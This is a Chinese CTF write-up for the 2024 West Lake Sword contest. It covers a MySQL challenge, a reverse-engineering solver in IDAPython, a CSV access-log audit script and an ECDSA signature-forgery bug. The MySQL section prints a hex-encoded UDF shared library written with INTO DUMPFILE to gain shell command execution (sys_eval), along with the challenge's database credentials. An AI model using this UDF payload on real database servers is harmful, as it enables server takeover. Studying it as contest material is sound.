第七届西湖论剑·中国杭州网络安全技能大赛

date
Jan 31, 2024
slug
xhlj-2024
status
Published
tags
CTF
WriteUP
summary
type
Post

Web

only_sql

连接，Fakemysql读取文件。
notion image
notion image
连接密码
// $db_host = '127.0.0.1';

// $db_username = 'root';

// $db_password = '1q2w3e4r5t!@#';

// $db_name = 'mysql';

**show global variables like 'secure%';**

secure_file_priv=''

show variables like '%basedir%';
mysql插件目录
show variables like '%plugin%'; /usr/lib/mysql/p1ugin/
udf提权
SELECT
SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720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INTO DUMPFILE '/usr/lib/mysql/p1ugin/udf.so';create function sys_eval returns string soname 'udf.so';


select sys_eval('ls');easy_rawraw
 

Reverse

MZ

很简单的思路。。。
单向链表
struct __declspec(align(4)) Node
{
  char Value;
  Node *Next;
};
然后就是根据 value 去走 path
两个约束条件，外加一个sha1 check
跑起来在初始化Node函数之后打个断点，写个 idapython dfs 一下就行了
 
import ida_bytes
import hashlib

def depth_first_search(current_depth, current_path):
    global is_flag_found
    if current_depth == 49:
        flag_bytes = bytearray([(~(element[0] + element[2])) & 0xff for element in flag_sequence[:-1]])
        flag_string = ''.join([chr(element[0]) for element in flag_sequence[:-1]])
        print(flag_string)
        sha1_digest = hashlib.sha1()
        sha1_digest.update(flag_bytes)
        calculated_hash = sha1_digest.hexdigest()
        if calculated_hash == 'dc0562f86bec0a38508e704aa9faa347101e1fdb':
            is_flag_found = True
            print(calculated_hash)
            print(flag_sequence)
        return
    if not is_flag_found and len(current_path) > 0:
        for next_node in current_path:
            flag_sequence.append(next_node)
            next_path = find_next_nodes(next_node[1])
            depth_first_search(current_depth + 1, next_path)
            flag_sequence.pop()

def find_next_nodes(current_base):
    next_nodes = []
    for i in range(0x20, 0x7f):
        v5 = ida_bytes.get_dword(current_base + i * 8)
        if v5 == i - 5:
            next_base = ida_bytes.get_dword(current_base + i * 8 + 4)
            next_nodes.append((i, next_base, 1))
        elif v5 == i + 5:
            next_base = ida_bytes.get_dword(current_base + i * 8 + 4)
            next_nodes.append((i, next_base, -1))
    return next_nodes

is_flag_found = False
flag_sequence = []
initial_base = 0x999078
initial_path = find_next_nodes(initial_base)
depth_first_search(0, initial_path)
print(flag_sequence)
print("end")

Misc

2024签到题

签到一下就行。
notion image

数据安全-easy_tables

按照文件所给的逐步排除数据库语句有问题的编号，直接写个脚本就行。
给的文件第一行和尾部的空行要去掉。
import re
from datetime import datetime
flag = []
def is_time_in_ranges(time_str, ranges):
    # 解析时间字符串
    target_time = datetime.strptime(time_str, '%H:%M:%S')

    # 遍历每个时间范围并检查时间是否在范围内
    for range_str in ranges:
        start_time, end_time = map(lambda x: datetime.strptime(x, '%H:%M:%S'), range_str.split('~'))
        if start_time <= target_time <= end_time:
            return True

    return False
def extract_sql_operation(sql_statement):
    # 使用正则表达式匹配 SQL 语句的操作类型
    pattern = re.compile(r'\b(insert|delete|update|select)\b', re.IGNORECASE)
    match = pattern.search(sql_statement)

    if match:
        # 返回匹配到的操作类型
        return match.group(1).upper()  # 将操作类型转为大写形式

    return None
def extract_table_name(sql_statement):
    # 使用正则表达式匹配 SQL 语句中的表名
    pattern = re.compile(r'\bFROM\b\s+([^\s;]+)|\bJOIN\b\s+([^\s;]+)|\bUPDATE\b\s+([^\s;]+)|\bINTO\b\s+([^\s;]+)|\bMERGE\b\s+([^\s;]+)|\bTABLE\b\s+([^\s;]+)', re.IGNORECASE)
    match = pattern.search(sql_statement)

    if match:
        # 返回匹配到的第一个组的值
        return next(group for group in match.groups() if group is not None)

    return None
#用户列表提取
userr = open('users.csv', encoding='utf-8')
content = userr.read()
users = list()
user = {}
rows = content.split('\n')
for row in rows:
    lists = row.split(',')
    users.append(row.split(','))
    user[lists[1]]=int(lists[0])
actionlog = open('actionlog.csv',encoding='utf-8')
line = actionlog.read()
loglines = line.split('\n')
#表格提取
tabless = open('tables.csv', encoding='utf-8')
content = tabless.read()
tables = list()
table = {}
rows = content.split('\n')
for row in rows:
    lists = row.split(',')
    tables.append(row.split(','))
    table[lists[1]]=int(lists[0])
#组别提取
permissionss = open('permissions.csv',encoding='utf-8')
linet =permissionss.read()
lines = linet.split('\n')
permissions=[]
# 使用正则表达式匹配每个段落
# pattern = re.compile(r'(\d+),(\w+),"([^"]+)","([^"]+)"')
for line in lines:
    pattern = re.compile(r'(\w+),(\w+),(".*?"|[^,]+),(".*?"|[^,]+)')
    matches = pattern.match(line)

    if matches:
        # 提取匹配的组
        group1 = matches.group(1)
        group2 = matches.group(2)

        # 判断是否有双引号，有的话将其内容转换为列表，没有则为单个元素
        operations_str = matches.group(3)
        operations_list = operations_str.strip('\"').split(',') if '\"' in operations_str else [operations_str]

        numbers_str = matches.group(4)
        numbers_list = numbers_str.strip('\"').split(',') if '\"' in numbers_str else [numbers_str]

        # 将结果组装成嵌套列表
        permissions.append([group1, group2, operations_list, numbers_list])
#日志提取
actionlog = open('actionlog.csv',encoding='utf-8')
line = actionlog.read()
loglines = line.split('\n')
# 使用逗号分隔提取前三个值

for logline in loglines:
    values = logline.split(',', 3)
    if values[1] in user.keys():
        tuser = users[user[values[1]]-1]
        tpermissions = permissions[int(tuser[3])-1]
        sqlhead  = tpermissions[2]
        tablepass = tpermissions[3]

        tablename = extract_table_name(values[3])
        ttable = tables[table[tablename]-1]
        if str(table[tablename]) in tablepass:
            sqlh = extract_sql_operation(values[3]).lower()
            if sqlh in sqlhead:
                time_ranges = [item.replace('"', '') for item in ttable[2:]]
                datetime_object = datetime.strptime(values[2], '%Y/%m/%d %H:%M:%S')
                # 提取时间部分
                time_only = datetime_object.time()
                if is_time_in_ranges(str(time_only),time_ranges):
                    pass
                else:
                    son = tuser[0] + '_' + tpermissions[0] + '_' + str(table[tablename]) + '_' + values[0]
                    flag.append(son)

            else:
                son = tuser[0] + '_' + tpermissions[0] + '_' + str(table[tablename]) + '_' + values[0]
                flag.append(son)
        else:
            son = tuser[0]+'_'+tpermissions[0]+'_'+str(table[tablename])+'_'+values[0]
            flag.append(son)
        ttable = tables[table[tablename]-1]
    else:
        son = '0_0_0_'+values[0]
        flag.append(son)
def custom_sort(item):
    parts = item.split('_')
    return tuple(map(int, parts))

sorted_list = sorted(flag, key=custom_sort)

print(sorted_list)
for i in sorted_list:
    print(i,end='')
    print(',',end='')

easy_rawraw

搜密码后发现内存里有两个密码和pass.txt 爆破8位数字pass.txt 然后去密钥文件挂载
notion image
 

Crypto

Or1cle

nc 后 get_flag 操作，随便输入不满64位的数字后报错，泄露出源码如下
def verify(self,z, signature):
	r, s = int(signature[:64], 16),int(signature[64:], 16)
  z=int(hashlib.sha256(z).hexdigest(),16)
	s_inv = pow(s, secp256k1.q - 2, secp256k1.q)
	u1 =(z* s_inv)% secp256k1.q
	u2 =(r*s_inv)% secp256k1.q
	point = u1* secp256k1.G + u2 * self.P
	return point.x==r
判断出是secp256k1的椭圆曲线 ECDSA签名认证，泄露出的一部分应该是签名的认证函数，其求逆元的方式s_inv = pow(s, secp256k1.q - 2,ecp256k1.q) 存在隐患，可以想办法伪造签名使得s，r为0，然后s_inv = 0,最后返回true。
构造64 位 以上的0，就可以使得r和s都为0,然后就得到flag了。

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